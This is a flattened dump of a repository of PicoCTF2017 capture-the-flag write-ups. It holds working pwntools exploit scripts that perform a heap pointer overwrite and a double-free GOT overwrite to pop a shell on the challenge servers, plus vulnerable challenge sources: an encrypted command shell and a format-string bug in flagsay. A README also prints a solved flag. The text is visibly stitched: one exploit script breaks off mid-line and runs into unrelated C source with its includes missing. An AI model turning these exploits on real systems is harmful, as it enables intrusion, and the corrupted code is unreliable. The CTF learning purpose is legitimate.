-------------------------------------------------------------------------------- /PicoCTF2017/aggregator/heap_workshop.7z: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/aggregator/heap_workshop.7z -------------------------------------------------------------------------------- /PicoCTF2017/aggregator/leaking_libc_heap_view.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/aggregator/leaking_libc_heap_view.png -------------------------------------------------------------------------------- /PicoCTF2017/aggregator/leaking_libc_heap_view_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/aggregator/leaking_libc_heap_view_2.png -------------------------------------------------------------------------------- /PicoCTF2017/aggregator/leaking_pointer_to_got_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/aggregator/leaking_pointer_to_got_2.png -------------------------------------------------------------------------------- /PicoCTF2017/chat-logger/chat_output.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/chat-logger/chat_output.png -------------------------------------------------------------------------------- /PicoCTF2017/chat-logger/exploit_chat-logger.py: -------------------------------------------------------------------------------- 1 | ## exploit_chat-logger.py, by Sudoite 2 | ## For PicoCTF2017 3 | 4 | from pwn import * 5 | #from os import * 6 | import struct 7 | #from time import sleep 8 | 9 | # Helper functions to convert 64-bit addresses to strings and vice versa 10 | pck = lambda x: struct.pack('Q', x) 11 | unpck = lambda x: struct.unpack('Q', x) 12 | 13 | # Helper function, adds null bytes to the end of a hex address so we can pack it 14 | def append_nulls(str): 15 | n = len(str) 16 | for i in xrange(8 - n): 17 | str += '\x00' 18 | return str 19 | 20 | #p = process('/home/ctf/Documents/PicoCTF2017/Exploit3/chatlogger/chat-logger') 21 | p = process('nc shell2017.picoctf.com 51628', shell=True) 22 | p.recvuntil("> ") 23 | 24 | 25 | ## Set up heap so we can overwrite a pointer 26 | 27 | # Long message to be overwritten 28 | p.send("find 2 I told you my name is Brian\n") 29 | p.recvuntil("> ") 30 | 31 | # This message will end up longer than it should be 32 | p.send("add 2 AAAA\n") 33 | p.recvuntil("> ") 34 | 35 | # These last two commands place the long message right below "add 2 AAAA\n" on the heap 36 | p.send("find 2 I told you my name is Brian\n") 37 | p.recvuntil("> ") 38 | p.send("add 2 BBBB\n") 39 | p.recvuntil("> ") 40 | 41 | 42 | ## Overwrite the pointer 43 | p.send("find 2 AAAA\n") 44 | p.recvuntil("> ") 45 | 46 | #log.info("calling edit AABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL" + pck(0x601e60) + "\n") 47 | # prints as `\x1e`\x00 48 | p.send("edit AABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL`\x1e`\n") 49 | p.recvuntil("> ") 50 | 51 | ## Leak the libc address 52 | p.send("chat 2\n") 53 | p.recvuntil("5353172790000830793 ") # Note this is IIIIJJJJ as a 64-bit unsigned long 54 | 55 | # leaked libc address 56 | addr = p.recvline() 57 | # Strip trailing newline 58 | addr = addr[0:len(addr)-1] 59 | 60 | log.info("leaked address = " + addr) 61 | 62 | 63 | # calculate address of system on server 64 | strchr_addr = unpck(append_nulls(addr))[0] 65 | server_strchr_offset = 0x7ffa0 # 0x7ff70 # stepping straight into the optimized part of the function 66 | libc_base = strchr_addr - server_strchr_offset 67 | server_system_addr = libc_base + 0x41490 68 | 69 | log.info("system addr: " + hex(server_system_addr)) 70 | log.info("libc_base: " + hex(libc_base)) 71 | log.info("strchr_addr: " + hex(strchr_addr)) 72 | 73 | # Reposition the address to write to in the GOT -- over to the left by four bytes 74 | p.send("find 2 AABBBB\n") 75 | p.recvuntil("> ") 76 | p.send("edit AABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL\\\x1e`\n") 77 | p.recvuntil("> ") 78 | 79 | 80 | # Next: find our desired message in the chat and overwrite its contents to place 81 | # a pointer to system in the GOT 82 | libc_address_fragment = str(pck(strchr_addr))[4:6] 83 | log.info("searching for " + libc_address_fragment) 84 | 85 | p.send("find 2 "+libc_address_fragment+"\n") 86 | p.recvuntil("> ") 87 | 88 | log.info("sending command: edit AA" + pck(server_system_addr)[0:6] + "\n") 89 | p.send("edit AA" + pck(server_system_addr)[0:6] + "\n") 90 | 91 | p.recvuntil("> ") 92 | p.send("/bin/sh\n") 93 | 94 | # Profit! 95 | p.interactive() -------------------------------------------------------------------------------- /PicoCTF2017/chat-logger/got_shell_chat-logger.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/chat-logger/got_shell_chat-logger.png -------------------------------------------------------------------------------- /PicoCTF2017/chat-logger/heap_layout_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/chat-logger/heap_layout_1.png -------------------------------------------------------------------------------- /PicoCTF2017/chat-logger/heap_layout_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/chat-logger/heap_layout_2.png -------------------------------------------------------------------------------- /PicoCTF2017/chat-logger/leaking_libc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/chat-logger/leaking_libc.png -------------------------------------------------------------------------------- /PicoCTF2017/chat-logger/pwndbg_broke_something.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/chat-logger/pwndbg_broke_something.png -------------------------------------------------------------------------------- /PicoCTF2017/contact-helper/15_bytes_short.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/contact-helper/15_bytes_short.png -------------------------------------------------------------------------------- /PicoCTF2017/contact-helper/can_read_got.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/contact-helper/can_read_got.png -------------------------------------------------------------------------------- /PicoCTF2017/contact-helper/crafting_got_read.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/contact-helper/crafting_got_read.png -------------------------------------------------------------------------------- /PicoCTF2017/contact-helper/double_free.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/contact-helper/double_free.png -------------------------------------------------------------------------------- /PicoCTF2017/contact-helper/end_of_got.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/contact-helper/end_of_got.png -------------------------------------------------------------------------------- /PicoCTF2017/contact-helper/exploit_contact_helper_clean.py: -------------------------------------------------------------------------------- 1 | # exploit-contacts.py 2 | # by Sudoite 3 | 4 | from pwn import * 5 | from time import sleep 6 | import struct 7 | import binascii 8 | 9 | local = False 10 | debug = False 11 | 12 | # how long to wait when sleeping 13 | if local: 14 | SHORT = 0.025 15 | LONG = 0.5 16 | else: 17 | SHORT = 0.5 18 | LONG = 2 19 | 20 | chunk_count = 0 # An integer to make sure I don't unintentially repeat chunk IDs 21 | add_count = 0 # Keeping track, visually in the heap, of when I malloc chunks that 22 | # have already been intentionally freed 23 | 24 | strtok_got_addr = 0x601ee8 25 | end_of_got_addr = 0x601eea 26 | past_end_of_got_addr = 0x601f28 27 | if local: 28 | strtok_offset = 0x0 #:-p 29 | system_offset = 0x0 30 | else: 31 | strtok_offset = 0x84a60 32 | system_offset = 0x41490 33 | 34 | def sleep_and_flush(): 35 | sleep(SHORT) 36 | p.recv() 37 | 38 | def send_add(int_id, name, phone): 39 | payload = "add " + str(int_id) + " " + name + " " + phone + "\n" 40 | if debug: 41 | print("In send_add: sending " + payload) 42 | p.send(payload) 43 | 44 | def send_valid_add(int_id, name, phone): 45 | global chunk_count 46 | send_add(int_id, name, phone) 47 | chunk_count += 1 48 | 49 | def send_broken_add(int_id, name): 50 | send_add(int_id, name, "xxxxxx") 51 | 52 | def get_addr_from_find(name): 53 | payload = "find " + name + "\n" 54 | if debug: 55 | print("In get_addr_from_find: payload = " + payload) 56 | p.send(payload) 57 | sleep(SHORT) 58 | out = p.recvuntil(":").strip() 59 | return int(out[0:len(out)-1]) 60 | 61 | def send_update(name, new_int_id): 62 | payload = "update-id " + name + " " + str(new_int_id) + "\n" 63 | if debug: 64 | print("In send_update: payload = " + payload) 65 | p.send(payload) 66 | 67 | # Arguments: chunk A int, chunk A name, chunk B int, chunk B name, 68 | # address of start of new chunk to malloc 69 | # 1. Free chunk A 70 | # 2. Free chunk B (doesn't have to be adjacent to chunk A) 71 | # 3. Get chunk A address by running find using chunk B name as name argument 72 | # 4. Send an update to chunk A ID, sending in (int) address of start of new chunk to malloc 73 | # 5. Malloc a chunk with arbitrary information 74 | # 6. Malloc a chunk with arbitrary information 75 | # 7. Malloc a chunk with arbitrary information 76 | def prepare_chunk_to_be_malloced(A_int, A_name, B_int, B_name, chunk_address_int): 77 | global add_count 78 | send_broken_add(A_int, A_name) 79 | sleep_and_flush() 80 | send_broken_add(B_int, B_name) 81 | sleep_and_flush() 82 | chunkA_addr = get_addr_from_find(A_name) 83 | if debug: 84 | print("In prepare_chunk_to_be_malloced: freed chunkA (" + A_name + ") is at " + hex(chunkA_addr)) 85 | send_update(A_name, chunk_address_int) 86 | sleep_and_flush() 87 | for i in range(3): 88 | send_valid_add(chunk_count, "add"+str(add_count), str(6666666666+chunk_count)) 89 | sleep_and_flush() 90 | add_count += 1 91 | 92 | if local: 93 | p = process("./local_with_server_got/contacts") 94 | else: 95 | p = remote("shell2017.picoctf.com", 57508) 96 | 97 | p.recv() 98 | 99 | for i in range(30): 100 | send_valid_add(chunk_count, "chunk"+str(chunk_count), str(5555555555+chunk_count)) 101 | # chunk_count incremented in call to send_valid_add 102 | sleep_and_flush() 103 | 104 | prepare_chunk_to_be_malloced(0, "chunk0", 1, "chunk1", int(end_of_got_addr)) 105 | send_valid_add(int(0x4141414141414141), "B"*30+"\x40", "7777777777") 106 | sleep_and_flush() 107 | 108 | prepare_chunk_to_be_malloced(10, "chunk10", 11, "chunk11", int(past_end_of_got_addr)) 109 | send_valid_add(int(0x44444444), "C"*24 + "\xe8\x1e\x60", "8888888888") 110 | sleep_and_flush() 111 | 112 | strtok_addr = get_addr_from_find("AA7777777777") 113 | sleep_and_flush() 114 | print("GOT address: " + hex(strtok_addr)) 115 | system_addr = strtok_addr - strtok_offset + system_offset 116 | 117 | send_update("AA7777777777", system_addr) 118 | sleep_and_flush() 119 | p.interactive() -------------------------------------------------------------------------------- /PicoCTF2017/contact-helper/read_free_chunk_code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/contact-helper/read_free_chunk_code.png -------------------------------------------------------------------------------- /PicoCTF2017/contact-helper/read_free_chunk_output.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/contact-helper/read_free_chunk_output.png -------------------------------------------------------------------------------- /PicoCTF2017/contact-helper/read_free_chunk_parseheap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/contact-helper/read_free_chunk_parseheap.png -------------------------------------------------------------------------------- /PicoCTF2017/contact-helper/remote_exploit_working.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/contact-helper/remote_exploit_working.png -------------------------------------------------------------------------------- /PicoCTF2017/contact-helper/solved.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/contact-helper/solved.png -------------------------------------------------------------------------------- /PicoCTF2017/contact-helper/striking_distance.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/contact-helper/striking_distance.png -------------------------------------------------------------------------------- /PicoCTF2017/encrypted-shell/challenge_solved.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/encrypted-shell/challenge_solved.png -------------------------------------------------------------------------------- /PicoCTF2017/encrypted-shell/dhshell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 -u 2 | from hashlib import sha256 3 | from Crypto import Random 4 | from Crypto.Random import random 5 | from Crypto.Cipher import AES 6 | from subprocess import check_output, STDOUT, CalledProcessError 7 | 8 | BLOCK_SIZE = 16 9 | R = Random.new() 10 | 11 | with open("parameters.txt") as f: 12 | p = int(f.readline().strip()) 13 | g = int(f.readline().strip()) 14 | 15 | password = open("password.txt").read() 16 | 17 | def pad(m): 18 | o = BLOCK_SIZE - len(m) % BLOCK_SIZE 19 | return m + o * chr(o) 20 | 21 | def unpad(p): 22 | return p[0:-ord(p[-1])] 23 | 24 | def send_encrypted(KEY, m): 25 | IV = R.read(BLOCK_SIZE) 26 | aes = AES.new(KEY, AES.MODE_CBC, IV) 27 | c = aes.encrypt(pad(m)) 28 | print (IV + c).encode('hex') 29 | 30 | def read_encrypted(KEY): 31 | data = raw_input("").decode('hex') 32 | IV, data = data[:BLOCK_SIZE], data[BLOCK_SIZE:] 33 | aes = AES.new(KEY, AES.MODE_CBC, IV) 34 | m = unpad(aes.decrypt(data)) 35 | return m 36 | 37 | def serve_commands(KEY): 38 | while True: 39 | cmd = read_encrypted(KEY) 40 | try: 41 | output = check_output(cmd, shell=True, stderr=STDOUT) 42 | except CalledProcessError as e: 43 | output = str(e) + "\n" 44 | send_encrypted(KEY, output) 45 | 46 | print """Welcome to the 47 | ______ _ _ _____ _ _ _ 48 | | _ \ | | | / ___| | | | | 49 | | | | | |_| | \ `--.| |__ ___| | | 50 | | | | | _ | `--. \ '_ \ / _ \ | | 51 | | |/ /| | | | /\__/ / | | | __/ | | 52 | |___/ \_| |_/ \____/|_| |_|\___|_|_| 53 | """ 54 | 55 | print "Parameters:" 56 | print "p = {}".format(p) 57 | print "g = {}".format(g) 58 | 59 | a = random.randint(1, 2**46) 60 | A = pow(g, a, p) 61 | print "A = {}".format(A) 62 | 63 | B = int(raw_input("Please supply B: ")) 64 | K = pow(B, a, p) 65 | 66 | KEY = sha256(str(K)).digest() 67 | 68 | pw = read_encrypted(KEY) 69 | if pw == password: 70 | serve_commands(KEY) 71 | else: 72 | send_encrypted("Invalid password!\n") 73 | -------------------------------------------------------------------------------- /PicoCTF2017/encrypted-shell/exploit_working.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/encrypted-shell/exploit_working.png -------------------------------------------------------------------------------- /PicoCTF2017/encrypted-shell/traffic.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/encrypted-shell/traffic.pcap -------------------------------------------------------------------------------- /PicoCTF2017/final/actual_clean_stack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/final/actual_clean_stack.png -------------------------------------------------------------------------------- /PicoCTF2017/final/alignment.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/final/alignment.png -------------------------------------------------------------------------------- /PicoCTF2017/final/choose: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/final/choose -------------------------------------------------------------------------------- /PicoCTF2017/final/clean_stack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/final/clean_stack.png -------------------------------------------------------------------------------- /PicoCTF2017/final/clean_stack_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/final/clean_stack_2.png -------------------------------------------------------------------------------- /PicoCTF2017/final/corrupted_stack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/final/corrupted_stack.png -------------------------------------------------------------------------------- /PicoCTF2017/final/exploit_final_clean.py: -------------------------------------------------------------------------------- 1 | # exploit_final_clean.py 2 | # by Sudoite 3 | 4 | from pwn import * 5 | from time import sleep 6 | import struct 7 | 8 | local = False 9 | 10 | # how long to wait when sleeping 11 | if local: 12 | SHORT = 0.001 13 | LONG = 0.5 14 | else: 15 | SHORT = 0.5 16 | LONG = 2 17 | 18 | #if local: 19 | # stack_start = 20 | #else: 21 | stack_start = 0xffffdb90 # Obtained via wizard sight from server 22 | binsh_addr = stack_start + 0xa 23 | shellcode_start_addr = stack_start + 0xca 24 | 25 | pck = lambda x: struct.pack(' 2 | #include 3 | #include 4 | 5 | #define FIRSTCHAROFFSET 129 6 | #define LINELENGTH 35 7 | #define NEWLINEOFFSET 21 8 | #define LINECOUNT 6 9 | 10 | #define BUFFLEN 1024 11 | 12 | char flag[] = " _ \n" 13 | " //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \n" 14 | " // / \n" 15 | " // / \n" 16 | " // / \n" 17 | " // / \n" 18 | " // / \n" 19 | " // / \n" 20 | " //___________________________________/ \n" 21 | " // \n" 22 | " // \n" 23 | " // \n" 24 | " // \n" 25 | " // \n" 26 | " // \n"; 27 | 28 | void placeInFlag(char * flag, char * str){ 29 | char * ptr = flag + FIRSTCHAROFFSET; 30 | char * lastInLine = ptr + LINELENGTH; 31 | size_t charRemaining = strlen(str); 32 | size_t linesDone = 0; 33 | while(charRemaining > 0 && linesDone < LINECOUNT){ 34 | if(ptr == lastInLine){ 35 | ptr += NEWLINEOFFSET; 36 | lastInLine += NEWLINEOFFSET + LINELENGTH; 37 | linesDone++; 38 | continue; 39 | } 40 | ptr[0] = str[0]; 41 | ptr++; 42 | str++; 43 | charRemaining--; 44 | } 45 | 46 | } 47 | 48 | 49 | 50 | int main(int argc, char **argv){ 51 | setbuf(stdout, NULL); 52 | 53 | size_t flagSize = strlen(flag) + 1; //need to remember null terminator 54 | char * input = (char *)malloc(sizeof(char) * flagSize); 55 | input[flagSize-1] = '\x0'; 56 | char * tempFlag = (char *)malloc(sizeof(char) * flagSize); 57 | while(1){ 58 | strncpy(tempFlag, flag, flagSize); 59 | tempFlag[flagSize-1] = '\x0'; 60 | fgets(input, flagSize, stdin); 61 | char * temp = strchr(input, '\n'); 62 | if(temp != NULL){ 63 | temp[0] = '\x0'; 64 | } 65 | 66 | placeInFlag(tempFlag, input); 67 | printf(tempFlag); 68 | } 69 | free(tempFlag); 70 | free(input); 71 | } 72 | 73 | 74 | -------------------------------------------------------------------------------- /PicoCTF2017/flagsay-2/flagsay_output.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/flagsay-2/flagsay_output.png -------------------------------------------------------------------------------- /PicoCTF2017/flagsay-2/got_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/flagsay-2/got_flag.png -------------------------------------------------------------------------------- /PicoCTF2017/flagsay-2/info_proc_mappings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/flagsay-2/info_proc_mappings.png -------------------------------------------------------------------------------- /PicoCTF2017/flagsay-2/memory_dump.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/flagsay-2/memory_dump.png -------------------------------------------------------------------------------- /PicoCTF2017/flagsay-2/memory_view.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/flagsay-2/memory_view.png -------------------------------------------------------------------------------- /PicoCTF2017/flagsay-2/placeInFlag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/flagsay-2/placeInFlag.png -------------------------------------------------------------------------------- /PicoCTF2017/flagsay-2/stack_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/flagsay-2/stack_1.png -------------------------------------------------------------------------------- /PicoCTF2017/flagsay-2/stack_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/flagsay-2/stack_2.png -------------------------------------------------------------------------------- /PicoCTF2017/flagsay-2/vmmap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/flagsay-2/vmmap.png -------------------------------------------------------------------------------- /PicoCTF2017/flagsay-2/vulnerability.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/flagsay-2/vulnerability.png -------------------------------------------------------------------------------- /PicoCTF2017/forest/README.md: -------------------------------------------------------------------------------- 1 | # Forest 2 | 3 | This is a level 4, 200-point reverse engineering problem from PicoCTF2017. Here's the problem description: 4 | 5 | I was wandering the forest and found a [file](./forest). It came with some [string](./string.txt) 6 | 7 | The executable for this problem is a 32-bit Linux ELF binary. The string is a combination of `L`, `R` and `D` characters that appear to be some sort of recipe for unlocking the flag. 8 | 9 | Running `strings` on the file also shows one curious input string, `yuoteavpxqgrlsdhwfjkzi_cmbn`, which gets accessed early in the process. Taking a look at the executable in `IDA Pro` shows that a function at 0x08048607 gets called recursively, so given the name of that problem, that function probably produces the forest, and understanding how it works is the key to solving the problem. I'll call the function at 0x08048607 `forest` because when I was solving the problem, I didn't know what it did and the name of the problem was as good as any. 10 | 11 | An initial function at 0x0804873e (identified by `IDA Pro` as `main`) parses `yuoteavpxqgrlsdhwfjkzi_cmbn` one character at a time, passing each characters into `forest` via separate function calls. `forest` also takes in a pointer that may be null, and a character. When the first character in that curious input string (`y`) is passed in, the pointer argument is null, a 12-byte data structure that I'll call `node` gets `malloc`'ed, with `node[0]` and `node[1]` initialized to 0, and `node[2]` containing the character. Next, `u` gets passed into the function at 0x08048607 along with the pointer to `node`. `node[2]` is accessed to retrieve `y`, the byte value of `u` is compared to the byte value of `y`, and since it's less, the function at 0x08048607 gets called again recursively, passing as arguments `node[0]` and `u`. `node[0]` is null, so a new node gets `malloc`ed, `u` is stored inside, and when the address of this new node is returned to `forest+8e`, the pointer to this new node is stored in `node[0]`. Reading through the code that is run when the byte value of the current character is greater than or equal to the byte value of the previous character, the call is the same except the return value gets stored in `node[1]`. That is enough information for me to figure out that the letters in the input string are getting assembled into a binary tree. I placed a breakpoint at 0x8048760 (right after `yuoteavpxqgrlsdhwfjkzi_cmbn` is processed), and took a look at the heap: 12 | 13 | ![forest_in_heap.png](./forest_in_heap.png) 14 | 15 | It's possible to reassemble the forest from this information. At that point the recipe provided in [string.txt](./string.txt) makes sense: `D` means "done", `R` is "go right" and `L` is "go left". At that point I could have written a Python program to generate the flag from the input string, but given there were a maximum of 27 unique characters to parse, I found it just as fast to use find and replace in a text editor. The recipe produces the following flag for me: 16 | 17 | you_could_see_the_forest_for_the_trees_ckyljfxyfmsw 18 | 19 | I didn't actually run the program with the flag, I just submitted it at that point and solved the problem. 20 | 21 | 22 | ### Comparison to Other Approaches 23 | 24 | [Robert Meade](https://github.com/MeadeRobert/PicoCTF2017/tree/master/reverse_engineering/level4/forest) used decompilers to reproduce the original C code, creates the binary tree in C, and parses it automatically with some Python code. 25 | 26 | [This write-up](https://github.com/theKidOfArcrania/picoCTF-2017-Writeups/tree/master/Reverse%20Engineering/Forest%20%5B200%20points%5D) also provides the disassembled source code. 27 | -------------------------------------------------------------------------------- /PicoCTF2017/forest/forest: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/forest/forest -------------------------------------------------------------------------------- /PicoCTF2017/forest/forest_in_heap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/forest/forest_in_heap.png -------------------------------------------------------------------------------- /PicoCTF2017/forest/solved_forest.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/forest/solved_forest.png -------------------------------------------------------------------------------- /PicoCTF2017/forest/string.txt: -------------------------------------------------------------------------------- 1 | DLLDLDLLLLLDLLLLRLDLLDLDLLLRRDLLLLRDLLLLLDLLRLRRRDLLLDLLLDLLLLLDLLRDLLLRRLDLLLDLLLLLDLLLRLDLLDLLRLRRDLLLDLLRLRRRDLLRDLLLLLDLLLRLDLLDLLRLRRDLLLLLDLLRDLLLRRLDLLLDLLLLLDLLRDLLRLRRDLLLDLLLDLLRLRRRDLLLLLDLLLLRLDLLLRRLRRDDLLLRRDLLLRRLRDLLLRLDLRRDDLLLRLDLLLRRRDLLRLRRRDLRRLD 2 | 3 | -------------------------------------------------------------------------------- /PicoCTF2017/kaley-ceilidh/Kaley_Ceilidh_solved.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/kaley-ceilidh/Kaley_Ceilidh_solved.png -------------------------------------------------------------------------------- /PicoCTF2017/matrix-deeper/VMMAP.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/matrix-deeper/VMMAP.png -------------------------------------------------------------------------------- /PicoCTF2017/matrix-deeper/checksec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/matrix-deeper/checksec.png -------------------------------------------------------------------------------- /PicoCTF2017/matrix-deeper/leak_libc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/matrix-deeper/leak_libc.png -------------------------------------------------------------------------------- /PicoCTF2017/matrix-deeper/matrix_deeper_segments.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/matrix-deeper/matrix_deeper_segments.png -------------------------------------------------------------------------------- /PicoCTF2017/matrix-deeper/matrix_segments.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/matrix-deeper/matrix_segments.png -------------------------------------------------------------------------------- /PicoCTF2017/matrix-deeper/remote_exploit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/matrix-deeper/remote_exploit.png -------------------------------------------------------------------------------- /PicoCTF2017/matrix-deeper/solved.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/matrix-deeper/solved.png -------------------------------------------------------------------------------- /PicoCTF2017/matrix/got_shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/matrix/got_shell.png -------------------------------------------------------------------------------- /PicoCTF2017/matrix/vmmap_correct.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/matrix/vmmap_correct.png -------------------------------------------------------------------------------- /PicoCTF2017/much-ado/ending.txt: -------------------------------------------------------------------------------- 1 | tu1|\h+&g\OP7@% :BH7M6m3g= 2 | 